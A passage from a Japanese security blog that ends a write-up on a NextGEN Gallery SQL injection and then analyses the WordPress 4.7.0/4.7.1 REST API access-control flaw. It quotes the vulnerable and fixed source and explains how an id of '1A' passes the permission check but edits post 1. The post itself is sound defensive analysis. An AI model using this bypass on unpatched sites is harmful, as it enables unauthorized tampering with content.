前述のように、この問題はwpdb::prepareメソッドの仕様(あるいは実装)がイケテナイ点が潜在的な原因になっていますが、WordPressのプラグイン等を使う場合は、このメソッドを使わないわけにはいきません。では、プラグイン開発者はどのようにwpdb::prepareメソッドを使えばよいでしょうか?
その答えは、「SQL文中に外部由来の値を混ぜない」という原則を徹底することです。
そんなこと言っても、IN句の中身は可変数なのでどうすればいいのという疑問が出てきますが、Drupalが採用している方法が参考になります。
Drupalでは、IN句の中身を生成する際に、可変個のプレースホルダを内部的に生成しています。それを真似ると、今回のケースでは、以下のようなSQL文を生成すればよかったことになります。
BEFORE : wp_terms.slug IN ('foo', 'bar', 'baz')
AFTER : wp_terms.slug IN (%s, %s, %s)
これに伴って、バインド値も調整することになります。このような実装にすることにより、SQL文中に外部からプレースホルダを指定させられる攻撃(一種の書式文字列攻撃)の防止を含め、SQLインジェクション脆弱性がないことを明確にできます。

まとめ

WordPressのプラグインNextGEN Galleryに対する巧妙なSQLインジェクション攻撃について説明しました。この問題の原因は、wpdb::prepareメソッドの潜在的なイケテナサが原因で、かつNextGEN Galleryの実装に外部から%が指定される場合の考慮漏れにあります。NextGEN Galleryの実装方針にも改善の余地があります。
前述のように、wpdb::prepareメソッドの潜在的な問題が原因ですので、他のWordPressプラグインにも同種の問題が残っている可能性があります。今後、可能な範囲で調査してみたいところです。

2017年2月6日月曜日

WordPress 4.7.1 の権限昇格脆弱性について検証した

エグゼクティブサマリ

WordPress 4.7と4.7.1のREST APIに、認証を回避してコンテンツを書き換えられる脆弱性が存在する。攻撃は極めて容易で、その影響は任意コンテンツの書き換えであるため、重大な結果を及ぼす。対策はWordPressの最新版にバージョンアップすることである。 本稿では、脆弱性混入の原因について報告する。

はじめに

WordPress本体に久しぶりに重大な脆弱性が見つかったと発表されました。
こんな風に書くと、WordPressの脆弱性なんてしょっちゅう見つかっているという意見もありそうですが、能動的かつ認証なしに、侵入できる脆弱性はここ数年出ていないように思います。そういうクラスのものが久しぶりに見つかったということですね。
以下は、ITMediaの記事からの引用です。
 WordPressではこの問題について、「セキュリティ問題は常に公開されるべきというのがわれわれのスタンスだが、今回のケースでは、何百万というWordPressサイトの安全を保証するため、意図的に公開を1週間先送りした」と説明している。
 この間にSucuriをはじめとするセキュリティ企業と連携し、攻撃が発生した場合でも各社のファイアウォールで防御できる態勢を確立。自動更新を通じてWordPressの更新版が行き渡り、できるだけ多くのユーザーが保護されるのを待ってから、情報を公開したという。

WordPress、更新版で深刻な脆弱性を修正 安全確保のため情報公開を先送りより引用

脆弱性のサマリは下記となります。

対象バージョンWordPress 4.7.0 および 4.7.1
影響コンテンツの改ざん
攻撃の認証要否不要
攻撃の難しさ極めて容易
対策WordPressのアップデート(4.7.2にて修正)

認証なしにリクエスト一発でコンテンツを改ざんできるため、影響は極めて深刻です。対象バージョンをお使いの方は、即刻アップデートすることをお勧めします。

攻撃の様子

PoCは複数公開されています。以下、一部を伏字にした形で攻撃の手順を説明します。
以下に攻撃前のコンテンツを示します。WordPressをインストールした直後であることが分かります。


このサイトに対して、以下のリクエストを送信します。一部伏字にしています。


攻撃後の画面は下記となります。攻撃を受けて、コンテンツが改ざんされていることが分かります。


上記から分かるように、認証不要で、攻撃に特別な情報も必要とせず、極めて容易にコンテンツが改ざんできるため、深刻な脆弱性であることがわかります。

脆弱性の原因

脆弱性の原因は、前述のSucuri Blogにて解説されていますが、この記事だと少し分かりにくいので解説を試みます。

WordPressでは以前からREST APIがプラグインとして用意されていましたが、WordPress 4.7以降で WordPress Coreにバンドルされました。今回の脆弱性は、このREST APIにあります。

以下の説明において、攻撃目標は、認証を回避して、id=1のコンテンツを改変することとします。WordPressのREST APIの内部では、以下の2つのメソッドが動きます。
  • update_item_permissions_check (権限の確認)
  • update_item (コンテンツの変更)
下記は、update_item_permissions_check メソッドのソースです。

wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php (Ver 4.7.1)

497:  public function update_item_permissions_check( $request ) {
498:    $post = get_post( $request['id'] );
499:    $post_type = get_post_type_object( $this->post_type );
500:    if ( $post && ! $this->check_update_permission( $post ) ) {
501:      return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post...
502:    }
503:    if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && 
             ! current_user_can( $post_type->cap->edit_others_posts ) ) {
504:      return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update ...
505:    }
506:    if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
507:      return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make ...
508:    }
509:    if ( ! $this->check_assign_terms_permission( $request ) ) {
510:      return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign ...
511:    }
512:    return true;
513:  }

ここで、idとして以下のようなパラメータを指定した場合のそれぞれの返り値を示します。

コンテンツの性質返り値
存在しないコンテンツtrue
存在し権限のあるコンテンツtrue
存在し権限のないコンテンツfalse

存在しないコンテンツが指定された場合、update_item_permissions_checkメソッドの様々なチェックをすべてくぐり抜け、メソッド最後のreturn文にて true が返されるところが恐ろしいですね。
しかし、この「存在しないコンテンツ」については、以下の update_item メソッドの 526行目にてエラーが返され、結果としては何もしない *はず* でした。

523:  public function update_item( $request ) {
524:    $id   = (int) $request['id'];
525:    $post = get_post( $id );
526:    if ( empty( $id ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
527:      return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
528:    }
529:    $post = $this->prepare_item_for_database( $request );
530:    if ( is_wp_error( $post ) ) {
531:      return $post;
532:    }

ところが、id=1A が指定された場合に、update_item_permissions_checkメソッドとupdate_itemメソッドの両方で呼ばれている get_post関数が受け取るパラメータを確認してみましょう。

update_item_permissions_checkでは、get_post('1A')が呼ばれ、1AをIDとするコンテンツはないため、「コンテンツは存在しない」が返され、チェック結果は true となります(!)。
一方、update_itemメソッドは、$id を整数にキャストしているため、get_post(1)が呼ばれ、ID=1 のコンテンツが変更されることになります。これにより、本来権限のないコンテンツ ID=1 に対する更新ができてしまうことになります。

以上が、この脆弱性の根本的な原因です。

WordPress 4.7.2での改修内容

WordPress 4.7.2では、代わりに、get_postメソッドがget_post関数のラッパーとして作成され、権限チェックと更新の両方から呼ばれるようになりました。

527:  public function update_item_permissions_check( $request ) {
528:    $post = $this->get_post( $request['id'] );
529:    if ( is_wp_error( $post ) ) {
530:      return $post;
531:    }

get_postメソッドの冒頭は下記のとおりです。

318:  protected function get_post( $id ) {
319:    $error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
320:    if ( (int) $id <= 0 ) {
321:      return $error;
322:    }
323:    $post = get_post( (int) $id );
324:    if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
325:      return $error;
326:    }

$id を整数にキャストすることと、「存在しないコンテンツ」に対してエラーを返すようになりました。どちらか一方でも先の攻撃は防げるはずですが、とくに「存在しないコンテンツ」に対するチェックがいいですね(元々そうすべき内容ではありますが)。

教訓

この脆弱性は権限チェックの間違いの典型例です。チェックと更新とで、異なる入力を用いているわけですから、両者の不整合がチェック漏れの原因になります。
WordPress 4.7.2のソースを見ても、使用する度に int にキャストしている箇所があります。これは潜在的にバグや脆弱性の原因です。以下のいずれかにすべきであると考えます。
  • 入力値のバリデーションにて数値以外のものをエラーとする(推奨)
  • 入力時に整数にキャストし、以降の処理では一貫してキャスト後の値を用いる

まとめ

WordPress 4.7.1までのREST APIに存在した脆弱性について説明しました。Sucuriはこの脆弱性をPrivilege Escalation (権限昇格)としています。しかし、Privilege Escalation だと一般ユーザーが特権を悪用できるように感じますが、実際には認証しなくても権限が悪用できるため、「アクセス制御の欠落」の方がより適切であるように思います。
前述のように、極めて危険な脆弱性であるため、当該バージョンのWordPressをお使いのサイトは、至急のアップデートを推奨します。


【HASHコンサルティング広告】

HASHコンサルティング株式会社では、WordPressを用いたウェブサイトのセキュリティ強化支援サービスを提供しています。詳しくは以下を参照下さい。

WordPressサイトのセキュリティ強化支援 | HASHコンサルティング株式会社

フォロワー